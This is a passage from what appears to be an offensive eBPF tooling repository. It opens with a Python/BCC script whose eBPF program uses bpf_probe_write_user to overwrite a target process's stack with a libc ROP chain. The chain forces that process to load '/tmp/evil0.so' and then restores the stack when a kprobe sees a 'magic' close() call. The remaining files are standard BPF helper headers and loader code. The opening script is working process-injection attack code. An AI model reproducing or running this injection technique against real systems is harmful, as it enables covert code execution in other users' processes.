rop_stack[7] = 0x0; //arg2 198 | rop_stack[8] = libc_gadget(0x1415dd); 199 | //set arg 1 200 | rop_stack[9] = libc_gadget(0x08d1af); 201 | rop_stack[10] = (size_t)0x00002; //RTLD_NOW 202 | //set arg 0 203 | rop_stack[11] = libc_gadget(0x1977fa); 204 | rop_stack[12] = (size_t)stack_ret_addr + sizeof(size_t)*(22); 205 | // call target func 206 | rop_stack[13] = libc_gadget(0x166450); 207 | // kprobe call 208 | rop_stack[14] = libc_gadget(0x0439c8); 209 | rop_stack[15] = 0x3; // syscall id for close 210 | rop_stack[16] = libc_gadget(0x1977fa); 211 | rop_stack[17] = magic_close_fd; // key for kprobe detection 212 | rop_stack[18] = libc_gadget(0x0d2975); //syscall 213 | // cleanup pt 1 214 | rop_stack[19] = libc_gadget(0x02bf1e); 215 | 216 | rop_stack[20] = cleanup_stack_start; // cleanup pt 2 return address 217 | rop_stack[21] = 0x0000000000000000; 218 | rop_stack[22] = 0x0; 219 | rop_stack[23] = 0x0; 220 | rop_stack[24] = 0x0; 221 | rop_stack[25] = 0x0; 222 | rop_stack[26] = 0x0; 223 | rop_stack[27] = 0x0; 224 | rop_stack[28] = 0x0; 225 | rop_stack[29] = 0x4242424242424242; 226 | 227 | char* path = (char*)&rop_stack[22]; 228 | path[0] = '/'; 229 | path[1] = 't'; 230 | path[2] = 'm'; 231 | path[3] = 'p'; 232 | path[4] = '/'; 233 | path[5] = 'e'; 234 | path[6] = 'v'; 235 | path[7] = 'i'; 236 | path[8] = 'l'; 237 | path[9] = '0'; 238 | path[10] = '.'; 239 | path[11] = 's'; 240 | path[12] = 'o'; 241 | path[13] = '\\0'; 242 | 243 | size_t buf[1]; 244 | bpf_probe_read(&buf[0], sizeof(size_t), stack_ret_addr); 245 | 246 | bpf_trace_printk("ret: 0x%llx\\n", buf[0]); 247 | 248 | bpf_trace_printk("stack_ret_addr: 0x%llx\\n", (size_t)stack_ret_addr); 249 | size_t rop_end = (size_t)stack_ret_addr + sizeof(size_t)*(slots-1); 250 | bpf_trace_printk("rop_end: 0x%llx\\n", rop_end); 251 | bpf_trace_printk("sizeof(rop_stack): 0x%llx\\n", sizeof(rop_stack)); 252 | 253 | bpf_probe_read(&h->stack[0], sizeof(struct stack_holder), stack_ret_addr); 254 | bpf_trace_printk("h->stack[0]: 0x%llx\\n", h->stack[0]); 255 | bpf_trace_printk("h->stack[29]: 0x%llx\\n", h->stack[29]); 256 | 257 | int r = bpf_probe_write_user(stack_ret_addr, (void*)&rop_stack[0], sizeof(rop_stack)); 258 | bpf_trace_printk("r: %d\\n", r); 259 | 260 | bpf_probe_read(&buf[0], sizeof(size_t), stack_ret_addr); 261 | 262 | bpf_trace_printk("ret: 0x%llx\\n", buf[0]); 263 | 264 | /* 265 | size_t _exit_addr[1]; 266 | _exit_addr[0] = (__libc_start_main - __libc_start_main_base) + 0x0e4dd0; 267 | int r = bpf_probe_write_user(stack_ret_addr, (void*)&_exit_addr[0], sizeof(void*)); 268 | */ 269 | 270 | return 0; 271 | } 272 | 273 | int kprobe__sys_close( 274 | struct pt_regs *ctx, 275 | int fd) { 276 | 277 | size_t pid_tgid = bpf_get_current_pid_tgid(); 278 | size_t pid = (u32)(pid_tgid >> 32); 279 | 280 | if (pid != """ + sys.argv[1] + """) { 281 | return 0; 282 | } 283 | 284 | if (fd != magic_close_fd) { 285 | return 0; 286 | } 287 | 288 | bpf_trace_printk("got magic close\\n"); 289 | 290 | struct stack_holder* h = NULL; 291 | int key = 0; 292 | h = stack_map.lookup(&key); 293 | if (!h) { 294 | return 0; 295 | } 296 | 297 | { 298 | size_t mostly_orig_stack[slots+1 + 11]; 299 | 300 | mostly_orig_stack[0] = libc_gadget(0x1977fa); 301 | mostly_orig_stack[1] = (size_t)stack_ret_addr + sizeof(size_t)*(19); 302 | mostly_orig_stack[2] = libc_gadget(0x08d1af); 303 | mostly_orig_stack[3] = h->stack[19]; 304 | mostly_orig_stack[4] = libc_gadget(0x054a5a); 305 | mostly_orig_stack[5] = libc_gadget(0x1977fa); 306 | mostly_orig_stack[6] = (size_t)stack_ret_addr + sizeof(size_t)*(20); 307 | mostly_orig_stack[7] = libc_gadget(0x08d1af); 308 | mostly_orig_stack[8] = h->stack[20]; 309 | mostly_orig_stack[9] = libc_gadget(0x054a5a); 310 | mostly_orig_stack[10] = libc_gadget(0x0bcde0); 311 | 312 | bpf_probe_read(&mostly_orig_stack[11], sizeof(struct stack_holder), &h->stack[0]); 313 | 314 | // for simplicity, just put back in the last part of the rop chain we still need 315 | mostly_orig_stack[11+19] = libc_gadget(0x02bf1e); 316 | mostly_orig_stack[11+20] = cleanup_stack_start; // cleanup pt 2 return address 317 | 318 | size_t cleanup_stack_start = (size_t)stack_ret_addr - sizeof(size_t)*11; 319 | 320 | int r = bpf_probe_write_user((void*)cleanup_stack_start, (void*)&mostly_orig_stack[0], sizeof(mostly_orig_stack)); 321 | } 322 | size_t cmp_stack[slots+1]; 323 | bpf_probe_read(&cmp_stack[0], sizeof(cmp_stack), stack_ret_addr); 324 | 325 | #pragma unroll 326 | for (size_t i=0; istack[i] == cmp_stack[i]) { 328 | bpf_trace_printk("slot %u: identical\\n", i); 329 | } else { 330 | bpf_trace_printk("slot %u: different\\n", i); 331 | bpf_trace_printk(" original: 0x%llx\\n", h->stack[i]); 332 | bpf_trace_printk(" @ 0x%llx\\n", (size_t)stack_ret_addr + sizeof(size_t)*i); 333 | } 334 | } 335 | return 0; 336 | } 337 | 338 | """ 339 | 340 | 341 | class notify_t(ctypes.Structure): 342 | _fields_ = [ 343 | ("data", ctypes.c_uint8*128), 344 | ] 345 | 346 | def handle_event(cpu, data, size): 347 | try: 348 | notify = ctypes.cast(data, ctypes.POINTER(notify_t)).contents 349 | print(repr(notify)) 350 | 351 | except KeyboardInterrupt: 352 | sys.exit(0) 353 | 354 | #b = BPF(text=text).trace_print() 355 | b = BPF(text=text, debug=0x8) 356 | #b = BPF(text=text) 357 | 358 | b["output"].open_perf_buffer(handle_event) 359 | 360 | b.trace_print() 361 | 362 | #print("Listening...") 363 | #while True: 364 | # try: 365 | # b.kprobe_poll() 366 | # except KeyboardInterrupt: 367 | # sys.exit(0) 368 | 369 | 370 | -------------------------------------------------------------------------------- /obie-trice-conjob/headers/bpf_helpers.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 */ 2 | /* Copied from $(LINUX)/tools/testing/selftests/bpf/bpf_helpers.h */ 3 | 4 | /* Added to fix compilation on old Ubuntu systems - please preserve when 5 | updating file! */ 6 | #ifndef __always_inline 7 | # define __always_inline inline __attribute__((always_inline)) 8 | #endif 9 | 10 | #ifndef __BPF_HELPERS_H 11 | #define __BPF_HELPERS_H 12 | 13 | /* helper macro to place programs, maps, license in 14 | * different sections in elf_bpf file. Section names 15 | * are interpreted by elf_bpf loader 16 | */ 17 | #define SEC(NAME) __attribute__((section(NAME), used)) 18 | 19 | /* helper functions called from eBPF programs written in C */ 20 | static void *(*bpf_map_lookup_elem)(void *map, void *key) = 21 | (void *) BPF_FUNC_map_lookup_elem; 22 | static int (*bpf_map_update_elem)(void *map, void *key, void *value, 23 | unsigned long long flags) = 24 | (void *) BPF_FUNC_map_update_elem; 25 | static int (*bpf_map_delete_elem)(void *map, void *key) = 26 | (void *) BPF_FUNC_map_delete_elem; 27 | static int (*bpf_map_push_elem)(void *map, void *value, 28 | unsigned long long flags) = 29 | (void *) BPF_FUNC_map_push_elem; 30 | static int (*bpf_map_pop_elem)(void *map, void *value) = 31 | (void *) BPF_FUNC_map_pop_elem; 32 | static int (*bpf_map_peek_elem)(void *map, void *value) = 33 | (void *) BPF_FUNC_map_peek_elem; 34 | static int (*bpf_probe_read)(void *dst, int size, void *unsafe_ptr) = 35 | (void *) BPF_FUNC_probe_read; 36 | static unsigned long long (*bpf_ktime_get_ns)(void) = 37 | (void *) BPF_FUNC_ktime_get_ns; 38 | static int (*bpf_trace_printk)(const char *fmt, int fmt_size, ...) = 39 | (void *) BPF_FUNC_trace_printk; 40 | static void (*bpf_tail_call)(void *ctx, void *map, int index) = 41 | (void *) BPF_FUNC_tail_call; 42 | static unsigned long long (*bpf_get_smp_processor_id)(void) = 43 | (void *) BPF_FUNC_get_smp_processor_id; 44 | static unsigned long long (*bpf_get_current_pid_tgid)(void) = 45 | (void *) BPF_FUNC_get_current_pid_tgid; 46 | static unsigned long long (*bpf_get_current_uid_gid)(void) = 47 | (void *) BPF_FUNC_get_current_uid_gid; 48 | static int (*bpf_get_current_comm)(void *buf, int buf_size) = 49 | (void *) BPF_FUNC_get_current_comm; 50 | static unsigned long long (*bpf_perf_event_read)(void *map, 51 | unsigned long long flags) = 52 | (void *) BPF_FUNC_perf_event_read; 53 | static int (*bpf_clone_redirect)(void *ctx, int ifindex, int flags) = 54 | (void *) BPF_FUNC_clone_redirect; 55 | static int (*bpf_redirect)(int ifindex, int flags) = 56 | (void *) BPF_FUNC_redirect; 57 | static int (*bpf_redirect_map)(void *map, int key, int flags) = 58 | (void *) BPF_FUNC_redirect_map; 59 | static int (*bpf_perf_event_output)(void *ctx, void *map, 60 | unsigned long long flags, void *data, 61 | int size) = 62 | (void *) BPF_FUNC_perf_event_output; 63 | static int (*bpf_get_stackid)(void *ctx, void *map, int flags) = 64 | (void *) BPF_FUNC_get_stackid; 65 | static int (*bpf_probe_write_user)(void *dst, void *src, int size) = 66 | (void *) BPF_FUNC_probe_write_user; 67 | static int (*bpf_current_task_under_cgroup)(void *map, int index) = 68 | (void *) BPF_FUNC_current_task_under_cgroup; 69 | static int (*bpf_skb_get_tunnel_key)(void *ctx, void *key, int size, int flags) = 70 | (void *) BPF_FUNC_skb_get_tunnel_key; 71 | static int (*bpf_skb_set_tunnel_key)(void *ctx, void *key, int size, int flags) = 72 | (void *) BPF_FUNC_skb_set_tunnel_key; 73 | static int (*bpf_skb_get_tunnel_opt)(void *ctx, void *md, int size) = 74 | (void *) BPF_FUNC_skb_get_tunnel_opt; 75 | static int (*bpf_skb_set_tunnel_opt)(void *ctx, void *md, int size) = 76 | (void *) BPF_FUNC_skb_set_tunnel_opt; 77 | static unsigned long long (*bpf_get_prandom_u32)(void) = 78 | (void *) BPF_FUNC_get_prandom_u32; 79 | static int (*bpf_xdp_adjust_head)(void *ctx, int offset) = 80 | (void *) BPF_FUNC_xdp_adjust_head; 81 | static int (*bpf_xdp_adjust_meta)(void *ctx, int offset) = 82 | (void *) BPF_FUNC_xdp_adjust_meta; 83 | static int (*bpf_get_socket_cookie)(void *ctx) = 84 | (void *) BPF_FUNC_get_socket_cookie; 85 | static int (*bpf_setsockopt)(void *ctx, int level, int optname, void *optval, 86 | int optlen) = 87 | (void *) BPF_FUNC_setsockopt; 88 | static int (*bpf_getsockopt)(void *ctx, int level, int optname, void *optval, 89 | int optlen) = 90 | (void *) BPF_FUNC_getsockopt; 91 | static int (*bpf_sock_ops_cb_flags_set)(void *ctx, int flags) = 92 | (void *) BPF_FUNC_sock_ops_cb_flags_set; 93 | static int (*bpf_sk_redirect_map)(void *ctx, void *map, int key, int flags) = 94 | (void *) BPF_FUNC_sk_redirect_map; 95 | static int (*bpf_sk_redirect_hash)(void *ctx, void *map, void *key, int flags) = 96 | (void *) BPF_FUNC_sk_redirect_hash; 97 | static int (*bpf_sock_map_update)(void *map, void *key, void *value, 98 | unsigned long long flags) = 99 | (void *) BPF_FUNC_sock_map_update; 100 | static int (*bpf_sock_hash_update)(void *map, void *key, void *value, 101 | unsigned long long flags) = 102 | (void *) BPF_FUNC_sock_hash_update; 103 | static int (*bpf_perf_event_read_value)(void *map, unsigned long long flags, 104 | void *buf, unsigned int buf_size) = 105 | (void *) BPF_FUNC_perf_event_read_value; 106 | static int (*bpf_perf_prog_read_value)(void *ctx, void *buf, 107 | unsigned int buf_size) = 108 | (void *) BPF_FUNC_perf_prog_read_value; 109 | static int (*bpf_override_return)(void *ctx, unsigned long rc) = 110 | (void *) BPF_FUNC_override_return; 111 | static int (*bpf_msg_redirect_map)(void *ctx, void *map, int key, int flags) = 112 | (void *) BPF_FUNC_msg_redirect_map; 113 | static int (*bpf_msg_redirect_hash)(void *ctx, 114 | void *map, void *key, int flags) = 115 | (void *) BPF_FUNC_msg_redirect_hash; 116 | static int (*bpf_msg_apply_bytes)(void *ctx, int len) = 117 | (void *) BPF_FUNC_msg_apply_bytes; 118 | static int (*bpf_msg_cork_bytes)(void *ctx, int len) = 119 | (void *) BPF_FUNC_msg_cork_bytes; 120 | static int (*bpf_msg_pull_data)(void *ctx, int start, int end, int flags) = 121 | (void *) BPF_FUNC_msg_pull_data; 122 | static int (*bpf_msg_push_data)(void *ctx, int start, int end, int flags) = 123 | (void *) BPF_FUNC_msg_push_data; 124 | static int (*bpf_msg_pop_data)(void *ctx, int start, int cut, int flags) = 125 | (void *) BPF_FUNC_msg_pop_data; 126 | static int (*bpf_bind)(void *ctx, void *addr, int addr_len) = 127 | (void *) BPF_FUNC_bind; 128 | static int (*bpf_xdp_adjust_tail)(void *ctx, int offset) = 129 | (void *) BPF_FUNC_xdp_adjust_tail; 130 | static int (*bpf_skb_get_xfrm_state)(void *ctx, int index, void *state, 131 | int size, int flags) = 132 | (void *) BPF_FUNC_skb_get_xfrm_state; 133 | static int (*bpf_sk_select_reuseport)(void *ctx, void *map, void *key, __u32 flags) = 134 | (void *) BPF_FUNC_sk_select_reuseport; 135 | static int (*bpf_get_stack)(void *ctx, void *buf, int size, int flags) = 136 | (void *) BPF_FUNC_get_stack; 137 | static int (*bpf_fib_lookup)(void *ctx, struct bpf_fib_lookup *params, 138 | int plen, __u32 flags) = 139 | (void *) BPF_FUNC_fib_lookup; 140 | static int (*bpf_lwt_push_encap)(void *ctx, unsigned int type, void *hdr, 141 | unsigned int len) = 142 | (void *) BPF_FUNC_lwt_push_encap; 143 | static int (*bpf_lwt_seg6_store_bytes)(void *ctx, unsigned int offset, 144 | void *from, unsigned int len) = 145 | (void *) BPF_FUNC_lwt_seg6_store_bytes; 146 | static int (*bpf_lwt_seg6_action)(void *ctx, unsigned int action, void *param, 147 | unsigned int param_len) = 148 | (void *) BPF_FUNC_lwt_seg6_action; 149 | static int (*bpf_lwt_seg6_adjust_srh)(void *ctx, unsigned int offset, 150 | unsigned int len) = 151 | (void *) BPF_FUNC_lwt_seg6_adjust_srh; 152 | static int (*bpf_rc_repeat)(void *ctx) = 153 | (void *) BPF_FUNC_rc_repeat; 154 | static int (*bpf_rc_keydown)(void *ctx, unsigned int protocol, 155 | unsigned long long scancode, unsigned int toggle) = 156 | (void *) BPF_FUNC_rc_keydown; 157 | static unsigned long long (*bpf_get_current_cgroup_id)(void) = 158 | (void *) BPF_FUNC_get_current_cgroup_id; 159 | static void *(*bpf_get_local_storage)(void *map, unsigned long long flags) = 160 | (void *) BPF_FUNC_get_local_storage; 161 | static unsigned long long (*bpf_skb_cgroup_id)(void *ctx) = 162 | (void *) BPF_FUNC_skb_cgroup_id; 163 | static unsigned long long (*bpf_skb_ancestor_cgroup_id)(void *ctx, int level) = 164 | (void *) BPF_FUNC_skb_ancestor_cgroup_id; 165 | static struct bpf_sock *(*bpf_sk_lookup_tcp)(void *ctx, 166 | struct bpf_sock_tuple *tuple, 167 | int size, unsigned long long netns_id, 168 | unsigned long long flags) = 169 | (void *) BPF_FUNC_sk_lookup_tcp; 170 | static struct bpf_sock *(*bpf_sk_lookup_udp)(void *ctx, 171 | struct bpf_sock_tuple *tuple, 172 | int size, unsigned long long netns_id, 173 | unsigned long long flags) = 174 | (void *) BPF_FUNC_sk_lookup_udp; 175 | static int (*bpf_sk_release)(struct bpf_sock *sk) = 176 | (void *) BPF_FUNC_sk_release; 177 | static int (*bpf_skb_vlan_push)(void *ctx, __be16 vlan_proto, __u16 vlan_tci) = 178 | (void *) BPF_FUNC_skb_vlan_push; 179 | static int (*bpf_skb_vlan_pop)(void *ctx) = 180 | (void *) BPF_FUNC_skb_vlan_pop; 181 | static int (*bpf_rc_pointer_rel)(void *ctx, int rel_x, int rel_y) = 182 | (void *) BPF_FUNC_rc_pointer_rel; 183 | static void (*bpf_spin_lock)(struct bpf_spin_lock *lock) = 184 | (void *) BPF_FUNC_spin_lock; 185 | static void (*bpf_spin_unlock)(struct bpf_spin_lock *lock) = 186 | (void *) BPF_FUNC_spin_unlock; 187 | static struct bpf_sock *(*bpf_sk_fullsock)(struct bpf_sock *sk) = 188 | (void *) BPF_FUNC_sk_fullsock; 189 | static struct bpf_tcp_sock *(*bpf_tcp_sock)(struct bpf_sock *sk) = 190 | (void *) BPF_FUNC_tcp_sock; 191 | static struct bpf_sock *(*bpf_get_listener_sock)(struct bpf_sock *sk) = 192 | (void *) BPF_FUNC_get_listener_sock; 193 | static int (*bpf_skb_ecn_set_ce)(void *ctx) = 194 | (void *) BPF_FUNC_skb_ecn_set_ce; 195 | 196 | /* llvm builtin functions that eBPF C program may use to 197 | * emit BPF_LD_ABS and BPF_LD_IND instructions 198 | */ 199 | struct sk_buff; 200 | unsigned long long load_byte(void *skb, 201 | unsigned long long off) asm("llvm.bpf.load.byte"); 202 | unsigned long long load_half(void *skb, 203 | unsigned long long off) asm("llvm.bpf.load.half"); 204 | unsigned long long load_word(void *skb, 205 | unsigned long long off) asm("llvm.bpf.load.word"); 206 | 207 | /* a helper structure used by eBPF C program 208 | * to describe map attributes to elf_bpf loader 209 | */ 210 | struct bpf_map_def { 211 | unsigned int type; 212 | unsigned int key_size; 213 | unsigned int value_size; 214 | unsigned int max_entries; 215 | unsigned int map_flags; 216 | unsigned int inner_map_idx; 217 | unsigned int numa_node; 218 | }; 219 | 220 | #define BPF_ANNOTATE_KV_PAIR(name, type_key, type_val) \ 221 | struct ____btf_map_##name { \ 222 | type_key key; \ 223 | type_val value; \ 224 | }; \ 225 | struct ____btf_map_##name \ 226 | __attribute__ ((section(".maps." #name), used)) \ 227 | ____btf_map_##name = { } 228 | 229 | static int (*bpf_skb_load_bytes)(void *ctx, int off, void *to, int len) = 230 | (void *) BPF_FUNC_skb_load_bytes; 231 | static int (*bpf_skb_load_bytes_relative)(void *ctx, int off, void *to, int len, __u32 start_header) = 232 | (void *) BPF_FUNC_skb_load_bytes_relative; 233 | static int (*bpf_skb_store_bytes)(void *ctx, int off, void *from, int len, int flags) = 234 | (void *) BPF_FUNC_skb_store_bytes; 235 | static int (*bpf_l3_csum_replace)(void *ctx, int off, int from, int to, int flags) = 236 | (void *) BPF_FUNC_l3_csum_replace; 237 | static int (*bpf_l4_csum_replace)(void *ctx, int off, int from, int to, int flags) = 238 | (void *) BPF_FUNC_l4_csum_replace; 239 | static int (*bpf_csum_diff)(void *from, int from_size, void *to, int to_size, int seed) = 240 | (void *) BPF_FUNC_csum_diff; 241 | static int (*bpf_skb_under_cgroup)(void *ctx, void *map, int index) = 242 | (void *) BPF_FUNC_skb_under_cgroup; 243 | static int (*bpf_skb_change_head)(void *, int len, int flags) = 244 | (void *) BPF_FUNC_skb_change_head; 245 | static int (*bpf_skb_pull_data)(void *, int len) = 246 | (void *) BPF_FUNC_skb_pull_data; 247 | static unsigned int (*bpf_get_cgroup_classid)(void *ctx) = 248 | (void *) BPF_FUNC_get_cgroup_classid; 249 | static unsigned int (*bpf_get_route_realm)(void *ctx) = 250 | (void *) BPF_FUNC_get_route_realm; 251 | static int (*bpf_skb_change_proto)(void *ctx, __be16 proto, __u64 flags) = 252 | (void *) BPF_FUNC_skb_change_proto; 253 | static int (*bpf_skb_change_type)(void *ctx, __u32 type) = 254 | (void *) BPF_FUNC_skb_change_type; 255 | static unsigned int (*bpf_get_hash_recalc)(void *ctx) = 256 | (void *) BPF_FUNC_get_hash_recalc; 257 | static unsigned long long (*bpf_get_current_task)(void *ctx) = 258 | (void *) BPF_FUNC_get_current_task; 259 | static int (*bpf_skb_change_tail)(void *ctx, __u32 len, __u64 flags) = 260 | (void *) BPF_FUNC_skb_change_tail; 261 | static long long (*bpf_csum_update)(void *ctx, __u32 csum) = 262 | (void *) BPF_FUNC_csum_update; 263 | static void (*bpf_set_hash_invalid)(void *ctx) = 264 | (void *) BPF_FUNC_set_hash_invalid; 265 | static int (*bpf_get_numa_node_id)(void) = 266 | (void *) BPF_FUNC_get_numa_node_id; 267 | static int (*bpf_probe_read_str)(void *ctx, __u32 size, 268 | const void *unsafe_ptr) = 269 | (void *) BPF_FUNC_probe_read_str; 270 | static unsigned int (*bpf_get_socket_uid)(void *ctx) = 271 | (void *) BPF_FUNC_get_socket_uid; 272 | static unsigned int (*bpf_set_hash)(void *ctx, __u32 hash) = 273 | (void *) BPF_FUNC_set_hash; 274 | static int (*bpf_skb_adjust_room)(void *ctx, __s32 len_diff, __u32 mode, 275 | unsigned long long flags) = 276 | (void *) BPF_FUNC_skb_adjust_room; 277 | 278 | /* Scan the ARCH passed in from ARCH env variable (see Makefile) */ 279 | #if defined(__TARGET_ARCH_x86) 280 | #define bpf_target_x86 281 | #define bpf_target_defined 282 | #elif defined(__TARGET_ARCH_s930x) 283 | #define bpf_target_s930x 284 | #define bpf_target_defined 285 | #elif defined(__TARGET_ARCH_arm64) 286 | #define bpf_target_arm64 287 | #define bpf_target_defined 288 | #elif defined(__TARGET_ARCH_mips) 289 | #define bpf_target_mips 290 | #define bpf_target_defined 291 | #elif defined(__TARGET_ARCH_powerpc) 292 | #define bpf_target_powerpc 293 | #define bpf_target_defined 294 | #elif defined(__TARGET_ARCH_sparc) 295 | #define bpf_target_sparc 296 | #define bpf_target_defined 297 | #else 298 | #undef bpf_target_defined 299 | #endif 300 | 301 | /* Fall back to what the compiler says */ 302 | #ifndef bpf_target_defined 303 | #if defined(__x86_64__) 304 | #define bpf_target_x86 305 | #elif defined(__s390x__) 306 | #define bpf_target_s930x 307 | #elif defined(__aarch64__) 308 | #define bpf_target_arm64 309 | #elif defined(__mips__) 310 | #define bpf_target_mips 311 | #elif defined(__powerpc__) 312 | #define bpf_target_powerpc 313 | #elif defined(__sparc__) 314 | #define bpf_target_sparc 315 | #endif 316 | #endif 317 | 318 | #if defined(bpf_target_x86) 319 | 320 | #define PT_REGS_PARM1(x) ((x)->di) 321 | #define PT_REGS_PARM2(x) ((x)->si) 322 | #define PT_REGS_PARM3(x) ((x)->dx) 323 | #define PT_REGS_PARM4(x) ((x)->cx) 324 | #define PT_REGS_PARM5(x) ((x)->r8) 325 | #define PT_REGS_RET(x) ((x)->sp) 326 | #define PT_REGS_FP(x) ((x)->bp) 327 | #define PT_REGS_RC(x) ((x)->ax) 328 | #define PT_REGS_SP(x) ((x)->sp) 329 | #define PT_REGS_IP(x) ((x)->ip) 330 | 331 | #elif defined(bpf_target_s390x) 332 | 333 | #define PT_REGS_PARM1(x) ((x)->gprs[2]) 334 | #define PT_REGS_PARM2(x) ((x)->gprs[3]) 335 | #define PT_REGS_PARM3(x) ((x)->gprs[4]) 336 | #define PT_REGS_PARM4(x) ((x)->gprs[5]) 337 | #define PT_REGS_PARM5(x) ((x)->gprs[6]) 338 | #define PT_REGS_RET(x) ((x)->gprs[14]) 339 | #define PT_REGS_FP(x) ((x)->gprs[11]) /* Works only with CONFIG_FRAME_POINTER */ 340 | #define PT_REGS_RC(x) ((x)->gprs[2]) 341 | #define PT_REGS_SP(x) ((x)->gprs[15]) 342 | #define PT_REGS_IP(x) ((x)->psw.addr) 343 | 344 | #elif defined(bpf_target_arm64) 345 | 346 | #define PT_REGS_PARM1(x) ((x)->regs[0]) 347 | #define PT_REGS_PARM2(x) ((x)->regs[1]) 348 | #define PT_REGS_PARM3(x) ((x)->regs[2]) 349 | #define PT_REGS_PARM4(x) ((x)->regs[3]) 350 | #define PT_REGS_PARM5(x) ((x)->regs[4]) 351 | #define PT_REGS_RET(x) ((x)->regs[30]) 352 | #define PT_REGS_FP(x) ((x)->regs[29]) /* Works only with CONFIG_FRAME_POINTER */ 353 | #define PT_REGS_RC(x) ((x)->regs[0]) 354 | #define PT_REGS_SP(x) ((x)->sp) 355 | #define PT_REGS_IP(x) ((x)->pc) 356 | 357 | #elif defined(bpf_target_mips) 358 | 359 | #define PT_REGS_PARM1(x) ((x)->regs[4]) 360 | #define PT_REGS_PARM2(x) ((x)->regs[5]) 361 | #define PT_REGS_PARM3(x) ((x)->regs[6]) 362 | #define PT_REGS_PARM4(x) ((x)->regs[7]) 363 | #define PT_REGS_PARM5(x) ((x)->regs[8]) 364 | #define PT_REGS_RET(x) ((x)->regs[31]) 365 | #define PT_REGS_FP(x) ((x)->regs[30]) /* Works only with CONFIG_FRAME_POINTER */ 366 | #define PT_REGS_RC(x) ((x)->regs[1]) 367 | #define PT_REGS_SP(x) ((x)->regs[29]) 368 | #define PT_REGS_IP(x) ((x)->cp0_epc) 369 | 370 | #elif defined(bpf_target_powerpc) 371 | 372 | #define PT_REGS_PARM1(x) ((x)->gpr[3]) 373 | #define PT_REGS_PARM2(x) ((x)->gpr[4]) 374 | #define PT_REGS_PARM3(x) ((x)->gpr[5]) 375 | #define PT_REGS_PARM4(x) ((x)->gpr[6]) 376 | #define PT_REGS_PARM5(x) ((x)->gpr[7]) 377 | #define PT_REGS_RC(x) ((x)->gpr[3]) 378 | #define PT_REGS_SP(x) ((x)->sp) 379 | #define PT_REGS_IP(x) ((x)->nip) 380 | 381 | #elif defined(bpf_target_sparc) 382 | 383 | #define PT_REGS_PARM1(x) ((x)->u_regs[UREG_I0]) 384 | #define PT_REGS_PARM2(x) ((x)->u_regs[UREG_I1]) 385 | #define PT_REGS_PARM3(x) ((x)->u_regs[UREG_I2]) 386 | #define PT_REGS_PARM4(x) ((x)->u_regs[UREG_I3]) 387 | #define PT_REGS_PARM5(x) ((x)->u_regs[UREG_I4]) 388 | #define PT_REGS_RET(x) ((x)->u_regs[UREG_I7]) 389 | #define PT_REGS_RC(x) ((x)->u_regs[UREG_I0]) 390 | #define PT_REGS_SP(x) ((x)->u_regs[UREG_FP]) 391 | 392 | /* Should this also be a bpf_target check for the sparc case? */ 393 | #if defined(__arch64__) 394 | #define PT_REGS_IP(x) ((x)->tpc) 395 | #else 396 | #define PT_REGS_IP(x) ((x)->pc) 397 | #endif 398 | 399 | #endif 400 | 401 | #ifdef bpf_target_powerpc 402 | #define BPF_KPROBE_READ_RET_IP(ip, ctx) ({ (ip) = (ctx)->link; }) 403 | #define BPF_KRETPROBE_READ_RET_IP BPF_KPROBE_READ_RET_IP 404 | #elif bpf_target_sparc 405 | #define BPF_KPROBE_READ_RET_IP(ip, ctx) ({ (ip) = PT_REGS_RET(ctx); }) 406 | #define BPF_KRETPROBE_READ_RET_IP BPF_KPROBE_READ_RET_IP 407 | #else 408 | #define BPF_KPROBE_READ_RET_IP(ip, ctx) ({ \ 409 | bpf_probe_read(&(ip), sizeof(ip), (void *)PT_REGS_RET(ctx)); }) 410 | #define BPF_KRETPROBE_READ_RET_IP(ip, ctx) ({ \ 411 | bpf_probe_read(&(ip), sizeof(ip), \ 412 | (void *)(PT_REGS_FP(ctx) + sizeof(ip))); }) 413 | #endif 414 | 415 | #endif 416 | -------------------------------------------------------------------------------- /obie-trice-conjob/common/bpf_load.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include "bpf_load.h" 28 | #include "perf-sys.h" 29 | 30 | #define DEBUGFS "/sys/kernel/debug/tracing/" 31 | 32 | static char license[128]; 33 | static int kern_version; 34 | static bool processed_sec[128]; 35 | char bpf_log_buf[BPF_LOG_BUF_SIZE]; 36 | int map_fd[MAX_MAPS]; 37 | int prog_fd[MAX_PROGS]; 38 | int event_fd[MAX_PROGS]; 39 | int prog_cnt; 40 | int prog_array_fd = -1; 41 | 42 | struct bpf_map_data map_data[MAX_MAPS]; 43 | int map_data_count = 0; 44 | 45 | static int populate_prog_array(const char *event, int prog_fd) 46 | { 47 | int ind = atoi(event), err; 48 | 49 | err = bpf_map_update_elem(prog_array_fd, &ind, &prog_fd, BPF_ANY); 50 | if (err < 0) { 51 | printf("failed to store prog_fd in prog_array\n"); 52 | return -1; 53 | } 54 | return 0; 55 | } 56 | 57 | static int write_kprobe_events(const char *val) 58 | { 59 | int fd, ret, flags; 60 | 61 | if (val == NULL) 62 | return -1; 63 | else if (val[0] == '\0') 64 | flags = O_WRONLY | O_TRUNC; 65 | else 66 | flags = O_WRONLY | O_APPEND; 67 | 68 | fd = open("/sys/kernel/debug/tracing/kprobe_events", flags); 69 | 70 | ret = write(fd, val, strlen(val)); 71 | close(fd); 72 | 73 | return ret; 74 | } 75 | 76 | static int load_and_attach(const char *event, struct bpf_insn *prog, int size) 77 | { 78 | bool is_socket = strncmp(event, "socket", 6) == 0; 79 | bool is_kprobe = strncmp(event, "kprobe/", 7) == 0; 80 | bool is_kretprobe = strncmp(event, "kretprobe/", 10) == 0; 81 | bool is_tracepoint = strncmp(event, "tracepoint/", 11) == 0; 82 | bool is_raw_tracepoint = strncmp(event, "raw_tracepoint/", 15) == 0; 83 | bool is_xdp = strncmp(event, "xdp", 3) == 0; 84 | bool is_perf_event = strncmp(event, "perf_event", 10) == 0; 85 | bool is_cgroup_skb = strncmp(event, "cgroup/skb", 10) == 0; 86 | bool is_cgroup_sk = strncmp(event, "cgroup/sock", 11) == 0; 87 | bool is_sockops = strncmp(event, "sockops", 7) == 0; 88 | bool is_sk_skb = strncmp(event, "sk_skb", 6) == 0; 89 | bool is_sk_msg = strncmp(event, "sk_msg", 6) == 0; 90 | size_t insns_cnt = size / sizeof(struct bpf_insn); 91 | 